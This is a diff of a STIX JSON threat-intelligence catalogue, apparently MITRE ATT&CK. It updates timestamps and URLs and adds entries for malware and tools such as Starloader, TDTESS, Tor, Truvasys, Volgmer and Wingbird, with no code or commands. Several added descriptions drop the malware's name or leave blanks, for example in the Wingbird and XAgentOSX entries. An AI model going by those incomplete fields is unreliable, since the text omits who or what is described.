             "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)\n\nAliases: SeaDuke, SeaDaddy, SeaDesk",
             "labels": [
@@ -20021,7 +21526,7 @@
             "id": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:20.223Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shamoon",
             "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)\n\nAliases: Shamoon, Disttrack",
             "labels": [
@@ -20057,7 +21562,7 @@
             "id": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:13.407Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Skeleton Key",
             "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.\n\nAliases: Skeleton Key",
             "labels": [
@@ -20087,7 +21592,7 @@
             "id": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:39.606Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SslMM",
             "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)\n\nAliases: SslMM",
             "labels": [
@@ -20112,12 +21617,45 @@
                 "SslMM"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Starloader",
+            "description": "is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0188",
+                    "external_id": "S0188"
+                },
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Starloader"
+            ],
+            "x_mitre_contributors": [
+                "Alan Neville, @abnev"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:21.437Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "StreamEx",
             "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)\n\nAliases: StreamEx",
             "labels": [
@@ -20147,7 +21685,7 @@
             "id": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:17.568Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sykipot",
             "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)\n\nAliases: Sykipot",
             "labels": [
@@ -20182,7 +21720,7 @@
             "id": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:40.391Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sys10",
             "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: Sys10",
             "labels": [
@@ -20212,7 +21750,7 @@
             "id": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:00.969Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Systeminfo",
             "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)\n\nAliases: Systeminfo, systeminfo.exe",
             "labels": [
@@ -20243,7 +21781,7 @@
             "id": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:01.951Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "T9000",
             "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)\n\nAliases: T9000",
             "labels": [
@@ -20273,12 +21811,42 @@
                 "T9000"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "TDTESS",
+            "description": "is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0164",
+                    "external_id": "S0164"
+                },
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "TDTESS"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:25.209Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "TEXTMATE",
             "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)\n\nAliases: DNSMessenger, TEXTMATE",
             "labels": [
@@ -20309,7 +21877,7 @@
             "id": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:15.467Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "TINYTYPHON",
             "description": "TINYTYPHON is a backdoor  that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)\n\nAliases: TINYTYPHON",
             "labels": [
@@ -20339,7 +21907,7 @@
             "id": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:14.900Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taidoor",
             "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)\n\nAliases: Taidoor",
             "labels": [
@@ -20369,7 +21937,7 @@
             "id": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:39.233Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Tasklist",
             "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)\n\nAliases: Tasklist",
             "labels": [
@@ -20399,7 +21967,7 @@
             "id": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:12.310Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "TinyZBot",
             "description": "TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)\n\nAliases: TinyZBot",
             "labels": [
@@ -20424,12 +21992,42 @@
                 "TinyZBot"
             ]
         },
+        {
+            "type": "tool",
+            "id": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Tor",
+            "description": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)\n\nAliases: Tor",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0183",
+                    "external_id": "S0183"
+                },
+                {
+                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
+                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
+                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Tor"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:00.176Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan.Karagany",
             "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)\n\nAliases: Trojan.Karagany",
             "labels": [
@@ -20459,7 +22057,7 @@
             "id": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:11.148Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan.Mebromi",
             "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)\n\nAliases: Trojan.Mebromi",
             "labels": [
@@ -20484,12 +22082,52 @@
                 "Trojan.Mebromi"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Truvasys",
+            "description": "is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0178",
+                    "external_id": "S0178"
+                },
+                {
+                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
+                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
+                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Truvasys"
+            ]
+        },
         {
             "type": "tool",
             "id": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:09.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "UACMe",
             "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)\n\nAliases: UACMe",
             "labels": [
@@ -20519,7 +22157,7 @@
             "id": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:17.716Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "USBStealer",
             "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer",
             "labels": [
@@ -20539,7 +22177,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
@@ -20556,7 +22194,7 @@
             "id": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:15.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Unknown Logger",
             "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)\n\nAliases: Unknown Logger",
             "labels": [
@@ -20586,7 +22224,7 @@
             "id": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:19.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Uroburos",
             "description": "Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Uroburos",
             "labels": [
@@ -20601,7 +22239,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
@@ -20611,12 +22249,42 @@
                 "Uroburos"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Volgmer",
+            "description": "is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0180",
+                    "external_id": "S0180"
+                },
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Volgmer"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:06.433Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WEBC2",
             "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)\n\nAliases: WEBC2",
             "labels": [
@@ -20646,7 +22314,7 @@
             "id": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WINDSHIELD",
             "description": "WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: WINDSHIELD",
             "labels": [
@@ -20676,7 +22344,7 @@
             "id": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:40.004Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WinMM",
             "description": "WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: WinMM",
             "labels": [
@@ -20706,7 +22374,7 @@
             "id": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:12.684Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Credential Editor",
             "description": "Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)\n\nAliases: Windows Credential Editor, WCE",
             "labels": [
@@ -20732,12 +22400,47 @@
                 "WCE"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Wingbird",
+            "description": "is a backdoor appears to be a new version of commercial software , which is marketed to government agencies. It is reportedly used to attack individual computers instead of networks. It was used by  in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0176",
+                    "external_id": "S0176"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Wingbird"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:21.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winnti",
             "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)\n\nAliases: Winnti",
             "labels": [
@@ -20777,7 +22480,7 @@
             "id": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:32.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Wiper",
             "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)\n\nAliases: Wiper",
             "labels": [
@@ -20807,7 +22510,7 @@
             "id": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "XAgentOSX",
             "description": " (Citation: XAgentOSX) is a trojan that has been used by APT28  on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)\n\nAliases:  (Citation: XAgentOSX)",
             "labels": [
@@ -20837,7 +22540,7 @@
             "id": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:09.453Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "XTunnel",
             "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)\n\nAliases: XTunnel, X-Tunnel, XAPS",
             "labels": [
@@ -20879,7 +22582,7 @@
             "id": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:56.394Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ZLib",
             "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)\n\nAliases: ZLib",
             "labels": [
@@ -20909,7 +22612,7 @@
             "id": "malware--552462b9-ae79-49dd-855c-5973014e157f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:20.949Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Zeroaccess",
             "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)\n\nAliases: Zeroaccess, Trojan.Zeroaccess",
             "labels": [
@@ -20940,7 +22643,7 @@
             "id": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:06.824Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "at",
             "description": "at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)\n\nAliases: at, at.exe",
             "labels": [
@@ -20971,7 +22674,7 @@
             "id": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "certutil",
             "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)\n\nAliases: certutil, certutil.exe",
             "labels": [
@@ -21002,7 +22705,7 @@
             "id": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:05.319Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "cmd",
             "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).\n\nAliases: cmd, cmd.exe",
             "labels": [
@@ -21048,7 +22751,7 @@
             "id": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:04.937Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "dsquery",
             "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe",
             "labels": [
@@ -21079,7 +22782,7 @@
             "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:24.937Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "gh0st",
             "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)\n\nAliases: gh0st",
             "labels": [
@@ -21109,7 +22812,7 @@
             "id": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:13.755Z",
